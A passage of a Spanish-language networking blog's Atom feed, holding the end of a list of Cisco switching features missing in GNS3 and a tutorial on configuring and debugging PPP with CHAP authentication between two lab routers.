IEEE 802.1x&lt;/li&gt;&lt;li&gt;    NAC – L2 IP&lt;/li&gt;&lt;li&gt;    NAC – L2 IP with Auth Fail Open&lt;/li&gt;&lt;li&gt;    Packet-Based Storm Control&lt;/li&gt;&lt;li&gt;    Per Port Per VLAN Policing&lt;/li&gt;&lt;li&gt;    Port Security&lt;/li&gt;&lt;li&gt;    Port Security on Private VLAN Ports&lt;/li&gt;&lt;li&gt;    Private VLANs&lt;/li&gt;&lt;li&gt;    QoS Policy Propagation via Border Gateway Protocol (QPPB)&lt;/li&gt;&lt;li&gt;    Rapid-Per-VLAN-Spanning Tree (Rapid-PVST)&lt;/li&gt;&lt;li&gt;    Reduced MAC Address Usage&lt;/li&gt;&lt;li&gt;    Remote SPAN (RSPAN)&lt;/li&gt;&lt;li&gt;    Smart Port&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – Loop Guard&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – Portfast&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – PortFast BPDU Filtering&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – Portfast Support for Trunks&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – Root Guard&lt;/li&gt;&lt;li&gt;    Spanning Tree Protocol (STP) – Uplink Load Balancing&lt;/li&gt;&lt;li&gt;    SRR (Shaped Round Robin)&lt;/li&gt;&lt;li&gt;    Standby Supervisor Port Usage&lt;/li&gt;&lt;li&gt;    STP Syslog Messages&lt;/li&gt;&lt;li&gt;    Switching Database Manager (SDM)&lt;/li&gt;&lt;li&gt;    Trunk Failover&lt;/li&gt;&lt;li&gt;    Trusted boundary (extended trust for CDP devices)&lt;/li&gt;&lt;li&gt;    Unicast Mac Filtering&lt;/li&gt;&lt;li&gt;    UniDirectional Link Detection (UDLD)&lt;/li&gt;&lt;li&gt;    VLAN Access Control List (VACL)&lt;/li&gt;&lt;li&gt;    VLAN Aware Port Security&lt;/li&gt;&lt;li&gt;    Weighted Tail Drop (WTD)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-3319763922926131812?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=pF29xnB6B0k:wG-DuxpoojE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=pF29xnB6B0k:wG-DuxpoojE:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/pF29xnB6B0k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/3319763922926131812/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=3319763922926131812" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/3319763922926131812?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/3319763922926131812?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/pF29xnB6B0k/funciones-que-faltan-en-gns3-sobre.html" title="Funciones que faltan en GNS3 sobre Switching" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/06/funciones-que-faltan-en-gns3-sobre.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EBQn09fSp7ImA9WhZUFko.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-9036428987844616047</id><published>2011-06-09T20:54:00.004-05:00</published><updated>2011-06-09T21:07:33.365-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-09T21:07:33.365-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="WAN" /><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Troubleshooting" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Router" /><category scheme="http://www.blogger.com/atom/ns#" term="Dynamips" /><category scheme="http://www.blogger.com/atom/ns#" term="CCNA" /><title>Configuración de PPP y CHAP</title><content type="html">&lt;div style="text-align: justify;"&gt;En este post veremos como configurar &lt;a href="http://es.wikipedia.org/wiki/Point-to-Point_Protocol"&gt;PPP (Point-to-Point Protocol)&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/CHAP"&gt;CHAP (Challenge Handshake Authentication Protocol)&lt;/a&gt;, en primer lugar debemos de comprender que tipo de conexión estamos haciendo. Un diagrama de red nos podría ayudar, tal como se muestra en la siguiente imagen donde se muestra una conexión básica de PPP y CHAP.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-ELvn4LKrdp4/TfF5hRWZN-I/AAAAAAAABQU/4n88_NFYSOk/s1600/ppp%252Bchap.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 123px;" src="http://2.bp.blogspot.com/-ELvn4LKrdp4/TfF5hRWZN-I/AAAAAAAABQU/4n88_NFYSOk/s400/ppp%252Bchap.png" alt="" id="BLOGGER_PHOTO_ID_5616403822807693282" border="0" /&gt;&lt;/a&gt;Configuración de PPP y CHAP en el Router2&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal&lt;/span&gt;&lt;br /&gt;Router(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;hostname Router1&lt;/span&gt;&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;username Router2 password cisco&lt;/span&gt;&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;interface serial1/0&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;clockrate 64000&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.1.130 255.255.255.252&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation ppp&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ppp authentication chap&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no shut&lt;/span&gt;&lt;br /&gt;Router1(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;end&lt;/span&gt;&lt;br /&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.129&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.129, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 12/72/156 ms&lt;/code&gt;&lt;/pre&gt;Configuración de PPP y CHAP en el Router2&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal&lt;/span&gt;&lt;br /&gt;Router(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;hostname Router2&lt;/span&gt;&lt;br /&gt;Router2(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;username Router1 password cisco&lt;/span&gt;&lt;br /&gt;Router2(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;interface serial1/0&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip address 192.168.1.129 255.255.255.252&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;encapsulation ppp&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;ppp authentication chap&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;no shut&lt;/span&gt;&lt;br /&gt;Router2(config-if)#&lt;span style="color: rgb(51, 255, 51);"&gt;end&lt;/span&gt;&lt;br /&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 192.168.1.130&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 192.168.1.130, timeout is 2 seconds:&lt;br /&gt;!!!!!&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 12/46/92 ms&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Troubleshooting PPP y CHAP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora que tenemos configurado PPP + CHAP, verificaremos la configuración de PPP en las interfaces configurada con el comando show interface, como se muestra a continuación.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Verificacion de la interface serial1/0 en el Router1&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show interface serial1/0&lt;/span&gt;&lt;br /&gt;Serial1/0 is up, line protocol is up&lt;br /&gt;Hardware is M4T&lt;br /&gt;Internet address is 192.168.1.130/30&lt;br /&gt;MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,&lt;br /&gt;reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Encapsulation PPP, LCP Open&lt;/span&gt;&lt;br /&gt;Open: IPCP, CDPCP, crc 16, loopback not set&lt;br /&gt;Keepalive set (10 sec)&lt;br /&gt;Restart-Delay is 0 secs&lt;br /&gt;Last input 00:00:25, output 00:00:00, output hang never&lt;br /&gt;Last clearing of "show interface" counters 00:04:19&lt;br /&gt;Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;Queueing strategy: weighted fair&lt;br /&gt;Output queue: 0/1000/64/0 (size/max total/threshold/drops)&lt;br /&gt;Conversations  0/1/256 (active/max active/max total)&lt;br /&gt;Reserved Conversations 0/0 (allocated/max allocated)&lt;br /&gt;Available Bandwidth 1158 kilobits/sec&lt;br /&gt;5 minute input rate 0 bits/sec, 0 packets/sec&lt;br /&gt;5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;31 packets input, 1988 bytes, 0 no buffer&lt;br /&gt;Received 0 broadcasts, 0 runts, 0 giants, 0 throttles&lt;br /&gt;0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort&lt;br /&gt;33 packets output, 1419 bytes, 0 underruns&lt;br /&gt;0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up&lt;/code&gt;&lt;/pre&gt;Verificación de la interface serial1/0 en el Router2&lt;pre&gt;&lt;code&gt;Router2#&lt;span style="color: rgb(51, 255, 51);"&gt;show interface serial1/0&lt;/span&gt;&lt;br /&gt;Serial1/0 is up, line protocol is up&lt;br /&gt;Hardware is M4T&lt;br /&gt;Internet address is 192.168.1.129/30&lt;br /&gt;MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec,&lt;br /&gt;reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Encapsulation PPP, LCP Open&lt;/span&gt;&lt;br /&gt;Open: IPCP, CDPCP, crc 16, loopback not set&lt;br /&gt;Keepalive set (10 sec)&lt;br /&gt;Restart-Delay is 0 secs&lt;br /&gt;Last input 00:00:07, output 00:00:00, output hang never&lt;br /&gt;Last clearing of "show interface" counters 00:03:09&lt;br /&gt;Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;Queueing strategy: weighted fair&lt;br /&gt;Output queue: 0/1000/64/0 (size/max total/threshold/drops)&lt;br /&gt;Conversations  0/1/256 (active/max active/max total)&lt;br /&gt;Reserved Conversations 0/0 (allocated/max allocated)&lt;br /&gt;Available Bandwidth 1158 kilobits/sec&lt;br /&gt;5 minute input rate 0 bits/sec, 0 packets/sec&lt;br /&gt;5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;34 packets input, 1727 bytes, 0 no buffer&lt;br /&gt;Received 0 broadcasts, 0 runts, 0 giants, 0 throttles&lt;br /&gt;0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort&lt;br /&gt;35 packets output, 2052 bytes, 0 underruns&lt;br /&gt;0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;1 carrier transitions     DCD=up  DSR=up  DTR=up  RTS=up  CTS=up&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Comandos debug de PPP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estos comandos nos puedes ser utilices para mostrar el proceso de PPP en las interfaces. También sirven de gran ayuda para administrar la red y así resolver problemas de enlace. Los comandos mas útiles son los siguientes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Debugging PPP Authentication&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El comando &lt;span style="font-style: italic;"&gt;debug ppp authentication&lt;/span&gt; nos mostrara el proceso de autenticación de CHAP. Si la encapsulacion PPP y la autención estan configurados correctamente en los routers, asi como los nombres de usuario con sus respectivas contraseñas, se mostrara en la salida algo similar a lo siguiente.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;debug ppp authentication&lt;/span&gt;&lt;br /&gt;PPP authentication debugging is on&lt;br /&gt;Router1#&lt;br /&gt;*Mar  1 00:16:42.699: Se1/0 PPP: Authorization required&lt;br /&gt;*Mar  1 00:16:42.707: Se1/0 CHAP: O CHALLENGE id 3 len 28 from "Router1"&lt;br /&gt;*Mar  1 00:16:42.707: Se1/0 CHAP: I CHALLENGE id 3 len 28 from "Router2"&lt;br /&gt;*Mar  1 00:16:42.711: Se1/0 CHAP: I RESPONSE id 3 len 28 from "Router2"&lt;br /&gt;*Mar  1 00:16:42.723: Se1/0 PPP: Sent CHAP LOGIN Request&lt;br /&gt;*Mar  1 00:16:42.723: Se1/0 CHAP: Using hostname from unknown source&lt;br /&gt;*Mar  1 00:16:42.727: Se1/0 CHAP: Using password from AAA&lt;br /&gt;*Mar  1 00:16:42.727: Se1/0 CHAP: O RESPONSE id 3 len 28 from "Router1"&lt;br /&gt;*Mar  1 00:16:42.731: Se1/0 PPP: Received LOGIN Response PASS&lt;br /&gt;*Mar  1 00:16:42.735: Se1/0 PPP: Sent LCP AUTHOR Request&lt;br /&gt;*Mar  1 00:16:42.739: Se1/0 PPP: Sent IPCP AUTHOR Request&lt;br /&gt;*Mar  1 00:16:42.743: Se1/0 LCP: Received AAA AUTHOR Response PASS&lt;br /&gt;*Mar  1 00:16:42.747: Se1/0 IPCP: Received AAA AUTHOR Response PASS&lt;br /&gt;*Mar  1 00:16:42.747: Se1/0 CHAP: O SUCCESS id 3 len 4&lt;br /&gt;*Mar  1 00:16:42.935: Se1/0 CHAP: I SUCCESS id 3 len 4&lt;br /&gt;*Mar  1 00:16:42.939: Se1/0 PPP: Sent CDPCP AUTHOR Request&lt;br /&gt;*Mar  1 00:16:42.943: Se1/0 PPP: Sent IPCP AUTHOR Request&lt;br /&gt;*Mar  1 00:16:42.955: Se1/0 CDPCP: Received AAA AUTHOR Response PASS&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Debug PPP Negotiation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Este comando nos muestra los procesos de negociacion de PPP, aqui un ejemplo.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;debug ppp negotiation&lt;/span&gt;&lt;br /&gt;PPP protocol negotiation debugging is on&lt;br /&gt;Router1#&lt;br /&gt;*Mar  1 00:20:47.199: Se1/0 LCP: I CONFREQ [Open] id 5 len 15&lt;br /&gt;*Mar  1 00:20:47.199: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)&lt;br /&gt;*Mar  1 00:20:47.199: Se1/0 LCP:    MagicNumber 0x011C567B (0x0506011C567B)&lt;br /&gt;*Mar  1 00:20:47.203: Se1/0 CDPCP: State is Closed&lt;br /&gt;*Mar  1 00:20:47.203: Se1/0 IPCP: State is Closed&lt;br /&gt;*Mar  1 00:20:47.207: Se1/0 PPP: Phase is TERMINATING&lt;br /&gt;*Mar  1 00:20:47.211: Se1/0 PPP: Phase is ESTABLISHING&lt;br /&gt;*Mar  1 00:20:47.211: Se1/0 LCP: O CONFREQ [Open] id 8 len 15&lt;br /&gt;*Mar  1 00:20:47.211: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)&lt;br /&gt;*Mar  1 00:20:47.215: Se1/0 LCP:    MagicNumber 0x001D100F (0x0506001D100F)&lt;br /&gt;*Mar  1 00:20:47.215: Se1/0 LCP: O CONFACK [Open] id 5 len 15&lt;br /&gt;*Mar  1 00:20:47.215: Se1/0 LCP:    AuthProto CHAP (0x0305C22305)&lt;br /&gt;*Mar  1 00:20:47.215: Se1/0 LCP:    MagicNumber 0x011C567B (0x0506011C567B)&lt;br /&gt;*Mar  1 00:20:47.219: Se1/0 IPCP: Remove route to 192.168.1.129&lt;br /&gt;*Mar  1 00:20:47.223: Se1/0 LCP: I CONFACK [ACKsent] id 8 len 15&lt;br /&gt;*Mar  1 00:20:47.227: Se1/0 LCP: AuthProto CHAP (0x0305C22305)&lt;br /&gt;*Mar  1 00:20:47.227: Se1/0 LCP:  MagicNumber 0x001D100F (0x0506001D100F)&lt;br /&gt;*Mar  1 00:20:47.227: Se1/0 LCP: State is Open&lt;br /&gt;*Mar  1 00:20:47.227: Se1/0 PPP: Phase is AUTHENTICATING, by both&lt;br /&gt;*Mar  1 00:20:47.231: Se1/0 CHAP: O CHALLENGE id 5 len 28 from "Router1"&lt;br /&gt;*Mar  1 00:20:47.231: Se1/0 CHAP: I CHALLENGE id 5 len 28 from "Router2"&lt;br /&gt;*Mar  1 00:20:47.235: Se1/0 CHAP: I RESPONSE id 5 len 28 from "Router2"&lt;br /&gt;*Mar  1 00:20:47.235: Se1/0 PPP: Phase is FORWARDING, Attempting Forward&lt;br /&gt;*Mar  1 00:20:47.243: Se1/0 PPP: Phase is AUTHENTICATING, Unauthenticated User&lt;br /&gt;*Mar  1 00:20:47.247: Se1/0 CHAP: Using hostname from unknown source&lt;br /&gt;*Mar  1 00:20:47.247: Se1/0 CHAP: Using password from AAA&lt;br /&gt;*Mar  1 00:20:47.247: Se1/0 CHAP: O RESPONSE id 5 len 28 from "Router1"&lt;br /&gt;*Mar  1 00:20:47.251: Se1/0 PPP: Phase is FORWARDING, Attempting Forward&lt;br /&gt;*Mar  1 00:20:47.255: Se1/0 PPP: Phase is AUTHENTICATING, Authenticated User&lt;br /&gt;*Mar  1 00:20:47.263: Se1/0 CHAP: O SUCCESS id 5 len 4&lt;br /&gt;*Mar  1 00:20:47.455: Se1/0 CHAP: I SUCCESS id 5 len 4&lt;br /&gt;*Mar  1 00:20:47.459: Se1/0 PPP: Phase is UP&lt;br /&gt;*Mar  1 00:20:47.459: Se1/0 IPCP: O CONFREQ [Closed] id 1 len 10&lt;br /&gt;*Mar  1 00:20:47.459: Se1/0 IPCP:    Address 192.168.1.130 (0x0306C0A80182)&lt;br /&gt;*Mar  1 00:20:47.463: Se1/0 PPP: Process pending ncp packets&lt;br /&gt;*Mar  1 00:20:47.463: Se1/0 IPCP: I CONFREQ [REQsent] id 1 len 10&lt;br /&gt;*Mar  1 00:20:47.467: Se1/0 IPCP:    Address 192.168.1.129 (0x0306C0A80181)&lt;br /&gt;*Mar  1 00:20:47.467: Se1/0 AAA/AUTHOR/IPCP: Start.  Her address 192.168.1.129, we want 0.0.0.0&lt;br /&gt;*Mar  1 00:20:47.471: Se1/0 CDPCP: I CONFREQ [Closed] id 1 len 4&lt;br /&gt;*Mar  1 00:20:47.479: Se1/0 AAA/AUTHOR/IPCP: Reject 192.168.1.129, using 0.0.0.0&lt;br /&gt;*Mar  1 00:20:47.479: Se1/0 AAA/AUTHOR/IPCP: Done.  Her address 192.168.1.129, we want 0.0.0.0&lt;br /&gt;*Mar  1 00:20:47.483: Se1/0 IPCP: O CONFACK [REQsent] id 1 len 10&lt;br /&gt;*Mar  1 00:20:47.483: Se1/0 IPCP:    Address 192.168.1.129 (0x0306C0A80181)&lt;br /&gt;*Mar  1 00:20:47.483: Se1/0 IPCP: I CONFACK [ACKsent] id 1 len 10&lt;br /&gt;*Mar  1 00:20:47.483: Se1/0 IPCP:    Address 192.168.1.130 (0x0306C0A80182)&lt;br /&gt;*Mar  1 00:20:47.487: Se1/0 IPCP: State is Open&lt;br /&gt;*Mar  1 00:20:47.487: Se1/0 CDPCP: O CONFREQ [Closed] id 1 len 4&lt;br /&gt;*Mar  1 00:20:47.499: Se1/0 IPCP: Install route to 192.168.1.129&lt;br /&gt;*Mar  1 00:20:47.547: Se1/0 CDPCP: I CONFACK [REQsent] id 1 len 4&lt;br /&gt;*Mar  1 00:20:49.463: Se1/0 CDPCP: Timeout: State ACKrcvd&lt;br /&gt;*Mar  1 00:20:49.463: Se1/0 CDPCP: O CONFREQ [ACKrcvd] id 2 len 4&lt;br /&gt;*Mar  1 00:20:49.503: Se1/0 CDPCP: I CONFACK [REQsent] id 2 len 4&lt;br /&gt;*Mar  1 00:20:49.527: Se1/0 CDPCP: I CONFREQ [ACKrcvd] id 2 len 4&lt;br /&gt;*Mar  1 00:20:49.527: Se1/0 CDPCP: O CONFACK [ACKrcvd] id 2 len 4&lt;br /&gt;*Mar  1 00:20:49.527: Se1/0 CDPCP: State is Open&lt;/code&gt;&lt;/pre&gt;Los otros comandos utiles son los siguientes:&lt;pre style="color: rgb(51, 255, 51);"&gt;&lt;code&gt;debug ppp packet&lt;br /&gt;debug ppp error&lt;br /&gt;debug ppp chap&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-9036428987844616047?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=FvQiZCQIAIg:rwcRztYwKFo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=FvQiZCQIAIg:rwcRztYwKFo:V_sGLiPBpWU" 